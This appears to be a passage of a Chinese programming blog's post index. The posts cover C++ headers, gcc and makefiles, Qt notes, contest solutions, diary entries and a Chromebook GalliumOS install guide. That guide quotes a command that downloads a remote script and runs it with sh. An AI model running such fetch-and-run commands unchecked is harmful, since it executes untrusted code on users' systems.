写类的声明（包括类里面的成员和方法的声明）、函数原型、#define常数等，但一般来说不写出具体的实现。 在写头文件时需要注意，在开头和结尾处必须按照如下样式加上预编译语句（如下）： #ifndef CIRCLE_H #define CIRCLE_H //你的代码写在这里 #endif 这样做是为了防止重复编译，不这样做就有可能出错。 至于CIRCLE_H这个名字实际上是无所谓的，你叫什么都行，只要符合规范都行。原则上来说，非常建议把它写成这种形式，因为比较容易和头文件的名字对应。 源文件（.cpp）： **源文件主要写实现头文件中已经声明的那些函数的具体代码。需要注意的是，开头必须#include一下实现的头文件，以及要用到的头文件。**那么当你需要用到自己写的头文件中的类时，只需要#include进来就行了。 下面举个最简单的例子来描述一下，咱就求个圆面积。 第1步，建立一个空工程（以在VS2003环境下为例）。 第2步，在头文件的文件夹里新建一个名为Circle.h的头文件，它的内容如下： #ifndef CIRCLE_H #define CIRCLE_H class Circle { private: double r;//半径 public: Circle();//构造函数 Circle(double R);//构造函数 double Area();//求面积函数 }; #endif 注意到开头结尾的预编译语句。在头文件里，并不写出函数的具体实现。 第3步，要给出Circle类的具体实现，因此，在源文件夹里新建一个Circle.cpp的文件，它的内容如下： #include “Circle.h” Circle::Circle() { this-\u003er=5.0; } Circle::Circle(double R) { this-\u003er=R; } double Circle:: Area() { return 3.14rr; } 需要注意的是：开头处包含了Circle.h，事实上，只要此cpp文件用到的文件，都要包含进来！这个文件的名字其实不一定要叫Circle.cpp，但非常建议cpp文件与头文件相对应。 最后，我们建一个main.cpp来测试我们写的Circle类，它的内容如下： #include #include “Circle.h” using namespace std; int main() { Circle c(3); cout«“Area=\"«c.Area()«endl; return 1; } 注意到开头时有#include “Circle.h\"的声明，证明我们使用到了我们刚才写的Circle类。 至此，我们工程的结构为： 运行一下，输出结果为： 说明我们写的Circle类确实可以用了。 1.****.h叫做头文件，它是不能被编译的。“#include”叫做编译预处理指令，可以简单理解成，在1.cpp中的#include\"1.h\"指令把1.h中的代码在编译前添加到了1.cpp的头部。每个.cpp文件会被编译，生成一个.obj文件，然后所有的.obj文件链接起来你的可执行程序就算生成了。 发现了没有，你要在.h文件中严格区分声明语句和定义语句。好的习惯是，头文件中应只处理常量、变量、函数以及类等等等等的声明，变量的定义和函数的实现等等等等都应该在源文件.cpp中进行。 至于.h和.cpp具有同样的主文件名的情况呢，对编译器来讲是没有什么意义的，编译器不会去匹配二者的主文件名，相反它很傻，只认#include等语句。但是这样写是一种约定俗成的编程风格，一个类的名字作为其头文件和源文件的主文件名比如Class1.h和Class1.cpp，这个类的声明在Class1.h中，实现在Class1.cpp中，我们人类看起来比较整齐，读起来方便，也很有利于模块化和源代码的重用。 为什么这个风格会约定俗成？有一句著名的话，叫“程序是为程序员写的”。 2.h文件和cpp文件也就是说，在h文件中声明Declare，而在cpp文件中定义Define。 “声明”向计算机介绍名字，它说，“这个名字是什么意思”。而“定义”为这个名字分配存储空间","date":"2017-05-16","externalUrl":null,"permalink":"/2017/05/cpp-header-file-and-source-file/","section":"Posts","summary":"# 感觉其实。。。更像是一种规范。。。？而不是一种具体要求吧。。。","tags":["算法竞赛"],"title":"C++中头文件（.h）和源文件（.cpp）都应该写些什么（转载）","type":"post"},{"categories":["其他"],"content":"参考资料 一. 常用编译命令选项 假设源程序文件名为test.c。 无选项编译链接 用法：#gcc test.c 作用：将test.c预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件，默认输出为a.out。 选项 -o 用法：#gcc test.c -o test 作用：将test.c预处理、汇编、编译并链接形成可执行文件test。-o选项用来指定输出文件的文件名。 选项 -E 用法：#gcc -E test.c -o test.i 作用：将test.c预处理输出test.i文件。 选项 -S 用法：#gcc -S test.i 作用：将预处理输出文件test.i汇编成test.s文件。 选项 -c 用法：#gcc -c test.s 作用：将汇编输出文件test.s编译输出test.o文件。 无选项链接 用法：#gcc test.o -o test 作用：将编译输出文件test.o链接成最终可执行文件test。 选项-O 用法：#gcc -O1 test.c -o test 作用：使用编译优化级别1编译程序。级别为1~3，级别越大优化效果越好，但编译时间越长。 二. 多源文件的编译方法 如果有多个源文件，基本上有两种编译方法： [假设有两个源文件为test.c和testfun.c] 多个文件一起编译 **用法：#gcc testfun.c test.c -o test ** 作用：将testfun.c和test.c分别编译后链接成test可执行文件。 **2. 分别编译各个源文件，之后对编译后输出的目标文件链接。 ** **用法： ** **#gcc -c testfun.c //将testfun.c编译成testfun.o ** **#gcc -c test.c //将test.c编译成test.o ** #gcc -o testfun.o test.o -o test //将testfun.o和test.o链接成test 以上两种方法相比较，第一中方法编译时需要所有文件重新编译，而第二种方法可以只重新编译修改的文件，未修改的文件不用重新编译。 如果要编译的文件都在同一个目录下，可以用通配符gcc *.c -o 来进行编译。 你是否会问，如果是一个项目的话，可能会有上百个文件，这样的编译法，人不是要累死在电脑前吗，或者等到你编译成功了，岂不是头发都白了，呵呵，所以我们要把上述的编译过程写进以下一个文本文件中： Linux下称之为makefile #这里可以写一些文件的说明 MyFirst: MyFirst.o hello.o g++ MyFirst.o hello.o -o MyFirst Hello.o:Hello.cpp g++ -c Hello.cpp -o Hello.o MyFirst.o:MyFirst.cpp g++ -c MyFirst.cpp -o MyFirst.o makefile 编写规则： （1）以“＃”开始的行为注释 （2）文件依赖关系为： target:components rule 存盘为MyFirst，在终端输入：make MyFist，程序出现了错误可是所有程序员共同的敌人，在编写程序时我们应该尽量的去避免错误的出现，不过编写的时候再怎么都不可避免的出现这样那样的错误，对程序 进行必要的调试是一个好主意，那我们怎么来调试程序呢，看下面： gdb ./文件名 ////////////////在这里我修改下要想下面可以调试，在上面编译的 时候必须加上参数g，g++ -g hello.cpp -o hello 以下为调试状态下的可以用到的命令（可以仅输入单词的输入，如break可简为b），尖括号中为说明 list \u003c显示源代码\u003e break 行号 \u003c设置断点\u003e run \u003c运行程序\u003e continue \u003c继续从断点处执行\u003e print 变量 \u003c调试时查看变量的值\u003e del 行号 \u003c删除断点\u003e step \u003c单步执行，可跟踪到函数内部\u003e next \u003c单步执行，不可跟踪到函数内部\u003e quit \u003c退出\u003e makefile 的编写不是件容易的事情，因为自己写的makefile可能不能在所有的unix/linux类操作系统下通用。因此在很多项目中都用automake.autoconf或者是Cmake等工具","date":"2017-05-16","externalUrl":null,"permalink":"/2017/05/g++-compile-multi-file/","section":"Posts","summary":"参考资料 一. 常用编译命令选项 假设源程序文件名为test.c。 无选项编译链接 用法：#gcc test.c 作用：将test.c预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件，默认输出为a.out。","tags":["g++"],"title":"g++ 编译多个源文件（转载）","type":"post"},{"categories":["其他"],"content":"先来放一波过程中用到的资料和官方文档好了。 basic layout_qt5.8 QBoxLayout Class_qt5.8 QString Class 5.8 QChar Class qt 5.8 Standard Dialogs Example qt 5.8 更新的部分还是放在最前面好了。。。 convert from QString to char *的时候有个坑。。。 In order to convert a QString to a char*, then you first need to get a latin1 representation of the string by calling toLatin1() on it which will return a QByteArray. Then call data() on the QByteArray to get a pointer to the data stored in the byte array. See the documentation: See the following example for a demonstration: 举个栗子。。。。 1int main(int argc, char **argv) 2{ 3 QApplication app(argc, argv); 4 QString str1 = \"Test\"; 5 QByteArray ba = str1.toLatin1(); 6 const char *c_str2 = ba.data(); 7 printf(\"str2: %s\", c_str2); 8 return app.exec(); 9} *Note that it is necessary to store the bytearray before you call data() on it, a call like the following const char c_str2 = str2.toLatin1().data(); will make the application crash as the QByteArray has not been stored and hence no longer exists. 目前基本框架出来了。。。 可以打开一个文件。。加密。。保存。。。 加密算法部分暂时用倒序输出代替。。。 界面布局还没搞。。。一些提示之类的还没搞。。。。。。。。 接下来要做的。。。大概就是把des写进去了。。。 放一波代码好了。。。 1/**************************************************************************** 2** 3** Copyright (C) 2016 The Qt Company Ltd. 4** Contact: https://www.qt.io/licensing/ 5** 6** This file is part of the examples of the Qt Toolkit. 7** 8** $QT_BEGIN_LICENSE:BSD$ 9** Commercial License Usage 10** Licensees holding valid commercial Qt licenses may use this file in 11** accordance with the commercial license agreement provided with the 12** Software or, alternatively, in accordance with the terms contained in 13** a written agreement between you and The Qt Company. For licensing terms 14** and conditions see https://www.qt.io/terms-conditions. For further 15** information use the contact f","date":"2017-05-16","externalUrl":null,"permalink":"/2017/05/qt-5-notes-2/","section":"Posts","summary":"先来放一波过程中用到的资料和官方文档好了。 basic layout_qt5.8 QBoxLayout Class_qt5.8 QString Class 5.8 QChar Class qt 5.8","tags":["qt","c++"],"title":"qt 5.x 学习笔记　(2)","type":"post"},{"categories":["其他"],"content":"嘛。。为了系统安全课来学一波qt… 现在算是写出了一个可以打开文件，保存文件的记事本。。。 接下来要搞定的事情是。。。如何写一个自定义的事件。。。比如计算个开方之类的。。。 放一波代码好了。。。 1#include \u003cQAction\u003e 2#include \u003cQMenuBar\u003e 3#include \u003cQMessageBox\u003e 4#include \u003cQStatusBar\u003e 5#include \u003cQToolBar\u003e 6#include \u003cQDebug\u003e 7#include \u003cQTextEdit\u003e 8#include \u003cQFileDialog\u003e 9 10#include \"mainwindow.h\" 11 12MainWindow::MainWindow(QWidget *parent) : 13 QMainWindow(parent) 14{ 15 16 17 openAction = new QAction(QIcon(\":/images/file-open\"), tr(\"\u0026Open...\"), this); 18 openAction-\u003esetShortcuts(QKeySequence::Open); 19 openAction-\u003esetStatusTip(tr(\"Open an existing file\")); 20 21 saveAction = new QAction(QIcon(\":/images/file-open\"), tr(\"\u0026Save...\"), this); 22 saveAction-\u003esetShortcuts(QKeySequence::Save); 23 saveAction-\u003esetStatusTip(tr(\"Save a new file\")); 24 25 QMenu *file = menuBar()-\u003eaddMenu(tr(\"\u0026File\")); 26 file-\u003eaddAction(openAction); 27 file-\u003eaddAction(saveAction); 28 29 QToolBar *toolBar = addToolBar(tr(\"\u0026File\")); 30 toolBar-\u003eaddAction(openAction); 31 toolBar-\u003eaddAction(saveAction); 32 33 textEdit = new QTextEdit(this); 34 setCentralWidget(textEdit); 35 36 connect(openAction, \u0026QAction::triggered, this, \u0026MainWindow::openFile); 37 connect(saveAction, \u0026QAction::triggered, this, \u0026MainWindow::saveFile); 38 39 40} 41 42MainWindow::~MainWindow() 43{ 44} 45 46 47void MainWindow::openFile() 48{ 49 QString path = QFileDialog::getOpenFileName(this, 50 tr(\"Open File\"), 51 \".\", 52 tr(\"Text Files(*.txt)\")); 53 if(!path.isEmpty()) { 54 QFile file(path); 55 if (!file.open(QIODevice::ReadOnly | QIODevice::Text)) { 56 QMessageBox::warning(this, tr(\"Read File\"), 57 tr(\"Cannot open file:\\n%1\").arg(path)); 58 return; 59 } 60 QTextStream in(\u0026file); 61 textEdit-\u003esetText(in.readAll()); 62 file.close(); 63 } else { 64 QMessageBox::warning(this, tr(\"Path\"), 65 tr(\"You did not select any file.\")); 66 } 67","date":"2017-05-14","externalUrl":null,"permalink":"/2017/05/qt-5-notes-1/","section":"Posts","summary":"嘛。。为了系统安全课来学一波qt… 现在算是写出了一个可以打开文件，保存文件的记事本。。。","tags":["qt","c++"],"title":"qt 5.x　初探(1)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：有２种货币，分别为C和D.给出n种资源的代价和美丽度，每种资源只能用其中一种资源购买。现在拥有货币C的数量是c,拥有货币D的数量是d.然后恰好买２个资源，问最大美丽度，不能的话输出０． 思路：首先显然三种情况。。。CC，CD,DD. CD直接扫一遍。。重点是CC和DD 一开始思路错掉了。。全程写two pointer wa4…一直调。。 最后恍然大悟。。发现two pointer非常错啊。。。 其实正解也很简单？ 先去跑步了orz 只要想办法维护每个代价的最大美丽度就好了(更准确得说，是维护小于等于某代价的最大美丽度) 直接BIT搞。维护一个前缀max…好像很稳啊？ 不过我竟然对于BIT能维护前缀max吃了一惊？ 以往都是用线段树来做这个操作的…想想大概是。。我把BIT的函数起名叫\"Sum\"的锅。。。 看起来就只能求Sum。。。。233333 1/* *********************************************** 2Author :111qqz 3Created Time :2017年05月12日 星期五 20时20分57秒 4File Name :code/codeforces/413/CC.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35int n,c,d; 36int t[N] ; //for BIT 37vector\u003cpair\u003cint,int\u003e \u003ev[2]; 38//总的思路是，维护每个代价(或者小于该代价）所对的美丽度的最大值 39//用bit维护一个前缀max 40// 41// 42 43int lowbit( int x) 44{ 45 return x\u0026(-x); 46} 47void update( int x,int delta) 48{ 49 for ( int i = x ; i \u003c N ; i+=lowbit(i)) t[i] = max(t[i],delta); 50} 51int query( int x) 52{ 53 int ret = 0 ; 54 for ( int i = x ; i\u003e=1 ; i-=lowbit(i)) 55 ret = max(ret,t[i]); 56 return ret; 57} 58 59int main() 60{ 61#ifndef ONLINE_JUDGE 62 freopen(\"code/in.txt\",\"r\",stdin); 63#endif 64 scanf(\"%d%d%d\",\u0026n,\u0026c,\u0026d); 65 for ( int i = 1 ; i \u003c= n ; i++) 66 { 67 ","date":"2017-05-12","externalUrl":null,"permalink":"/2017/05/codeforces-div2-413c/","section":"Posts","summary":"题目链接 题意：有２种货币，分别为C和D.给出n种资源的代价和美丽度，每种资源只能用其中一种资源购买。现在拥有货币C的数量是c,拥有货币D的数量是d.然后恰好买２个资源，问最大美丽度，不能的话输出０．","tags":["树状数组"],"title":"codeforces #413  C. Fountains （BIT维护前缀max）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：有n个Ｔ恤，每个价格都不同，有三种颜色，分别用1,2,3表示，每件Ｔ恤给出前xiong和后背的颜色。现在有m个顾客排成一队，对于每个顾客，给出他喜欢的颜色，只要一个Ｔ恤的前xiong或者后背的颜色之一满足该颜色即可。顾客总希望买符合他喜欢颜色的Ｔ恤中价格最低的。现在问每个顾客买到的Ｔ恤的价格，如果某个顾客没有买Ｔ恤，输出-1 思路：贪一下？ 对于每个颜色，找到价格最低的。记录的时候顺便记录id，以标记某件有２个颜色的衣服是否卖出去了。 １A美滋滋 1/* *********************************************** 2Author :111qqz 3Created Time :2017年05月11日 星期四 15时29分58秒 4File Name :B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=2E5+7; 35int n,m; 36bool vis[N]; //表示某个id的是否被卖出。 37vector\u003c pair\u003cint,int\u003e\u003ev[4]; //pair\u003cprice,id\u003e,id是为了标记是否卖出去了，卖出去就继续找下一个。 38 //虽然价格本身唯一，但是太大不适合做标记？ 39struct node 40{ 41 int p,a,b; 42 int id; 43}A[N]; 44 45bool cmp(node x,node y) 46{ 47 return x.p\u003cy.p; 48} 49vector\u003cint\u003eans; 50int main() 51{ 52 #ifndef ONLINE_JUDGE 53 freopen(\"code/in.txt\",\"r\",stdin); 54 #endif 55 ms(vis,false); 56 scanf(\"%d\",\u0026n); 57 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026A[i].p); 58 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026A[i].a); 59 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026A[i].b); 60 for ( int i = 1 ; i \u003c= n ; i++) A[i].id = i; 61 //sort(A+1,A+n+1,cmp); //价格升序 没有必要吧。。。 62 63 for ( int i = 1 ; i \u003c= n ; i++) 64 { 65 int a = A[i].a; 66 int b = A[i].b; 67 int p = A[i].","date":"2017-05-12","externalUrl":null,"permalink":"/2017/05/codeforces-div2-413b/","section":"Posts","summary":"题目链接 题意：有n个Ｔ恤，每个价格都不同，有三种颜色，分别用1,2,3表示，每件Ｔ恤给出前xiong和后背的颜色。现在有m个顾客排成一队，对于每个顾客，给出他喜欢的颜色，只要一个Ｔ恤的前xiong或者后背的颜色之一满足该颜色即可。顾客总希望买符合他喜欢颜色的Ｔ恤中价格最低的。现在问每个顾客买到的Ｔ恤的价格，如果某个顾客没有买Ｔ恤，输出-1","tags":["greedy"],"title":"codeforces #413 B T-shirt buying (贪心)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：初始有一个锅，每t分钟可以做好k个饼，现在需要N个饼。还可以另外建一个锅，花费d时间，建好以后两个锅可以并行烙饼。问是否应该建锅？（以期减少烙饼时间） 思路：求出两种情况下的总时间，比较一下。 只有一个锅的情况很好求。 两个锅的情况比较麻烦，不如模拟时间流逝？ 反正最多也就1E6的时间。。。模拟一下。。。稳。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年05月11日 星期四 15时29分43秒 4File Name :A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 int n,t,k,d; 40 int ans1,ans2; 41 cin\u003e\u003en\u003e\u003et\u003e\u003ek\u003e\u003ed; 42 ans1 = ((n-1)/k+1)*t; 43 int num1 = 0 ; 44 for ( int i = 1 ; i \u003c= 200000 ; i++) 45 { 46 if (i%t==0) num1+=k; 47 if (num1\u003e=n) 48 { 49 ans2 = i ; 50 break; 51 } 52 if (i\u003e=d) 53 { 54 int ii = i-d; 55 if (ii%t==0\u0026\u0026ii\u003e0) num1+=k; 56 if (num1\u003e=n) 57 { 58 ans2 = i; 59 break; 60 } 61 } 62 } 63// ans2+=d; 64 cout\u003c\u003c\"ans1:\"\u003c\u003cans1\u003c\u003c\"ans2:\"\u003c\u003cans2\u003c\u003cendl; 65 if (ans1\u003eans2) puts(\"YES\"); 66 else puts(\"NO\"); 67 68 69 #ifndef ONLINE_JUDGE 70 fclose(stdin); 71 #endif 72 return 0; 73}","date":"2017-05-12","externalUrl":null,"permalink":"/2017/05/codeforces-div2-413a/","section":"Posts","summary":"题目链接 题意：初始有一个锅，每t分钟可以做好k个饼，现在需要N个饼。还可以另外建一个锅，花费d时间，建好以后两个锅可以并行烙饼。问是否应该建锅？（以期减少烙饼时间）","tags":["math","模拟"],"title":"codeforces #413 A. Carrot Cakes (模拟)","type":"post"},{"categories":["其他"],"content":"啊。。在准备考试QAQ 明天约了鹅厂面试。。。然而从四月就开始一直考试考试考试….感觉药丸啊？ MS的结果貌似明天也要出了orz… 之前没收到positive以为是跪了，结果听说有人没收到positive也拿到了offer啊？ 以及，被之前拿到的某厂追加了类似sp之类的东西…. 虽然说实习工资什么的的确不是很重要，不过比初始的offer 多了60%的工资还是美滋滋的啊？ 而且貌似是我们组的boss帮我争取到的T T 好感动啊。。。。 哦还有。。后半学期有门叫大数据与云计算的课。。。 大概是做一些，和hadoop,spark,caffe有关的实验orz 我本以为我虽然菜了一点。。。但是毕竟一直在linux环境下。。。 这些东西还是能应付的。。。 结果关键步骤几乎全靠妹子carry啊orz….我好菜.jpg 所以虽然我们因为课程太多没办法像其他情侣一样出去玩。。。 一起在写代码，一起debug也算是另一种浪漫吧（强行自我安慰） 增强了专业水平又促进了感情orz 哦还有校赛。。。 虽然是菜鸡。。。不过校赛帮忙出题我觉得是老年选手的义务吧。。。。 但是听说dp和数学题已经够多了。。。马丹这两个最好出了吧orz… 尤其我半年没写过题。。。。我当时的idea…早就过时了吧orz… 而且还是校赛…武汉高校都会来吧。。。 万一因为我出的题太差影响了hust的形象那可就。。。。太糟糕了啊。。。","date":"2017-05-04","externalUrl":null,"permalink":"/2017/05/20170504/","section":"Posts","summary":"啊。。在准备考试QAQ 明天约了鹅厂面试。。。然而从四月就开始一直考试考试考试….感觉药丸啊？","tags":["算法竞赛"],"title":"20170504近况","type":"post"},{"categories":["其他"],"content":"症状是不管安装什么，都会说有一大堆依赖无法安装。。。 大概是: a depends b[i],but b[i] is not be installed. (b==0..n) 最后会提示Unable to correct problems, you have held broken packages 解决办法：用synaptic工具，把可能存在问题的包都清除掉。 参考资料 顺便想吐槽。。。ubuntu的包管理工具好辣鸡啊。。 随便装点东西竟然就损坏了？ 我刚才装chrome,然后出了错误，提示我apt-get -f install 解决问题。。。 然后包管理就挂了？ 想起当年虽然装的第一个发行版是ubuntu,但是并不好用啊？ 好好使用的第一个还是mint 所以其实ubuntu不是很适合新手吧。。。只不过知名度高。。。。资料多。。。 要我说 manjaro 或者 linux mint 都要比ubuntu新手友好的多啊orz","date":"2017-04-30","externalUrl":null,"permalink":"/2017/04/fix-ubuntu-package-manager-broken-problem/","section":"Posts","summary":"症状是不管安装什么，都会说有一大堆依赖无法安装。。。 大概是: a depends b[i],but b[i] is not be installed. (b==0..n)","tags":["算法竞赛"],"title":"ubuntu  包管理(apt-get)损坏的解决办法","type":"post"},{"categories":["其他"],"content":"我的chromebook 是　samsung 3 查阅Hardware Compatibility 可以知道我的cb支持　gallium,对应的cpu 是Intel Braswell 然后去galliumos　官网　下载相应版本。 (发现这种做法并不需要自己下载。。。) 安装　galliumOS大体有两种方法，一种是完全去掉chromeOS,这种方法需要需要拆机去除写保护。。。我嫌麻烦。。。于是打算另一种，使用chrx　步骤如下： Enable Developer Mode (process is model-specific; for Acer C720, press ESC+F3(Refresh)+Power), then reboot Load ChromeOS by pressing CTRL+D at the white “OS verification is OFF” screen Configure your Wi-Fi network if necessary, then log in (Guest account is fine) Open the ChromeOS Terminal by pressing CTRL+ALT+T, and enter shell at the prompt Update firmware, if necessary (required for Bay Trail and Braswell models, recommended for Broadwell and Skylake models, optional for Haswell models – see chromebooks) Run chrx: cd ; curl -Os https://chrx.org/go \u0026\u0026 sh go (see options) Follow on-screen instructions to prepare your Chromebook for installation Reboot, then repeat steps 2-4 and 6 to install and configure your new system 对于braswell model，必须要刷一个固件才可以：mrchromeboxa 刷好之后按照步骤安装。。。 安装成功以后。。。 做了以下事情： * 安装搜狗输入法 * 安装中文字体 * 安装vim * 安装fish个 * 安装shadowsocks * 安装guake * 登录chromium 同步各种插件 * 安装aria2 * 安装franz * 安装ssh * 安装variety * 使用xmodmap，将搜索键映射到win,映射了几个不用的功能键（到f1,f3 Page_Down,Page_Up） 补一个xmodmap的配置文件。 1keycode 133 = Super_L 2keycode 72 = Page_Up 3keycode 73 = Page_Down","date":"2017-04-29","externalUrl":null,"permalink":"/2017/04/install-galliumos-with-chrx-on-chromebook/","section":"Posts","summary":"我的chromebook 是　samsung 3 查阅Hardware Compatibility 可以知道我的cb支持　gallium,对应的cpu 是Intel Braswell","tags":["chromebook","galliumOS"],"title":"install galliumOS on chromebook with chrx","type":"post"},{"categories":["其他"],"content":"连着考试。。。 取消考试周这做法就是蠢。。。 白天上课晚上考试。。。 说得好像没有考试周大家就不会复习了一样。。。 结果就只能是在白天的课上复习。。。 又影响听新的课，又影响复习。。。。 然后昨天还推了鹅厂的面试。。。不知道会不会留下什么不好的印象T T 连着考试真心要死啊。。。 身体完全受不了。。。 这还只是期中。。。 想想我们前半学期学完了 文档+专业英语+信号+测试+uml+游戏+计网，7门课。。。。 那就意味着期末还有12门。。。。。。。。 感觉真的。。。。。。。为什么。。。要这么多课呢。。。。。。。","date":"2017-04-27","externalUrl":null,"permalink":"/2017/04/why-is-it-like-this/","section":"Posts","summary":"连着考试。。。 取消考试周这做法就是蠢。。。 白天上课晚上考试。。。 说得好像没有考试周大家就不会复习了一样。。。","tags":["算法竞赛"],"title":"为什么。。。为什么会变成这样呢。。。","type":"post"},{"categories":["其他"],"content":"最让你恶心痛苦的那些人，你必要从他们身上学到最重要和有用的东西。 所有的痛苦都不能白受，克我者必生我。 在知乎看到这句话，不禁在想 人无疑是zhangk，可是学到了什么呢？ 好像什么都没学到T T 那我好亏啊~~~~(\u003e_\u003c)~~~~","date":"2017-04-19","externalUrl":null,"permalink":"/2017/04/20140419/","section":"Posts","summary":"最让你恶心痛苦的那些人，你必要从他们身上学到最重要和有用的东西。 所有的痛苦都不能白受，克我者必生我。","tags":["算法竞赛"],"title":"20140419","type":"post"},{"categories":["面试"],"content":"A peak element is an element that is greater than its neighbors. Given an input array where num[i] ≠ num[i+1], find a peak element and return its index. The array may contain multiple peaks, in that case return the index to any one of the peaks is fine. You may imagine that num[-1] = num[n] = -∞. For example, in array [1, 2, 3, 1], 3 is a peak element and your function should return the index number 2. click to show spoilers. **Note:**Your solution should be in logarithmic complexity. 思路： 为什么能lgn。。。 首先要想明白，这样的峰值是一定存在的（因为最左最右已经负无穷了。 如果中间元素的值，比它右边相邻元素的小，说明什么呢？ 说明右边区间一定存在峰值。 为什么？ 现在a[mid]\u003ca[mid+1] 如果a[mid+1]\u003ea[mid+2],那么 a[mid+1]就是峰值 如果a[mid+1]\u003c=a[mid+2]，那么可以继续缩小区间，到[mid+2,n-1] 由于a[n]为负无穷，因此至少会出现一个 a[x]\u003ea[x+1]的情况，此时a[x]就是峰值。 想清楚了这点就好办了。二分就好。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月14日 星期五 20时15分01秒 4File Name :162.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 int findPeakElement(vector\u003cint\u003e\u0026 nums) { 11 int n = nums.size(); 12 int l = 0 ; 13 int r = n-1; 14 while (l\u003c=r) 15 { 16 if (l==r) return l; 17 int mid = (l+r)\u003e\u003e1; 18 if (nums[mid]\u003cnums[mid+1]) 19 l = mid + 1; 20 else r = mid; 21 } 22 23 24 } 25 26};","date":"2017-04-14","externalUrl":null,"permalink":"/2017/04/leetcode-162/","section":"Posts","summary":"A peak element is an element that is greater than its neighbors. Given an input array where num[i] ≠ num[i+1], find a peak element and return its index. The array may contain multiple peaks, in that case return the index to any one of the peaks is fine.","tags":["binary search","leetcode"],"title":"leetcode162. Find Peak Element (O(lgn)复杂度寻找峰值)","type":"post"},{"categories":["面试"],"content":"Find the contiguous subarray within an array (containing at least one number) which has the largest product. For example, given the array [2,3,-2,4], the contiguous subarray [2,3] has the largest product = 6. 思路：由于有正，有负，还有0.。。所以比最大子串之和要复杂一些。。。 dp[i].max表示到当前位置的最大乘积。 dp[i].min表示到当前位置的最小乘积。 dp[i].max = max{dp[i-1].maxa[i],dp[i-1].mina[i],a[i]}; dp[i].min同理 边界dp[i].max = dp[i].min = a[0] 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月14日 星期五 18时57分13秒 4File Name :152.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 //dp 11 //dp[i]表示当前的最大乘积。 12 //用了滚动数组优化空间/ 13 int maxProduct(vector\u003cint\u003e\u0026 nums) { 14 int siz = nums.size(); 15 int mnpre,mncur,mxpre,mxcur; 16 int ret; 17 ret = mnpre = mncur = mxpre = mxcur = nums[0]; 18 for ( int i = 1 ; i \u003c siz ; i++ ) 19 { 20 mncur = min(nums[i],min(nums[i]*mnpre,nums[i]*mxpre)); 21 mxcur = max(nums[i],max(nums[i]*mnpre,nums[i]*mxpre)); 22 ret = max(ret,mxcur); 23 mnpre = mncur; 24 mxpre = mxcur; 25 } 26 return ret; 27 28 } 29 30};","date":"2017-04-14","externalUrl":null,"permalink":"/2017/04/leetcode-152-maximum-product-subarray/","section":"Posts","summary":"Find the contiguous subarray within an array (containing at least one number) which has the largest product. For example, given the array [2,3,-2,4], the contiguous subarray [2,3] has the largest product = 6.","tags":["dp","leetcode"],"title":"leetcode 152. Maximum Product Subarray (最大连续子序列乘积，dp)","type":"post"},{"categories":["面试"],"content":"Given a sorted integer array without duplicates, return the summary of its ranges. For example, given [0,1,2,4,5,7], return [\"0-\u003e2\",\"4-\u003e5\",\"7\"]. 题意：把连续的数连续表示 思路：模拟。注意有负数，注意有-2147483648这种数据。 本来还想着，可能是leetcode加数据的审核机制太松，导致被人加了奇怪的数据。。。 结果发现出题人和加数据的人是一个人啊？ 不给数据范围，加这种奇怪的数据很有意思？ 分分钟卡掉你的标程啊？ 感觉像吃了苍蝇一样恶心。。一句话，出题人傻逼 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月14日 星期五 16时26分01秒 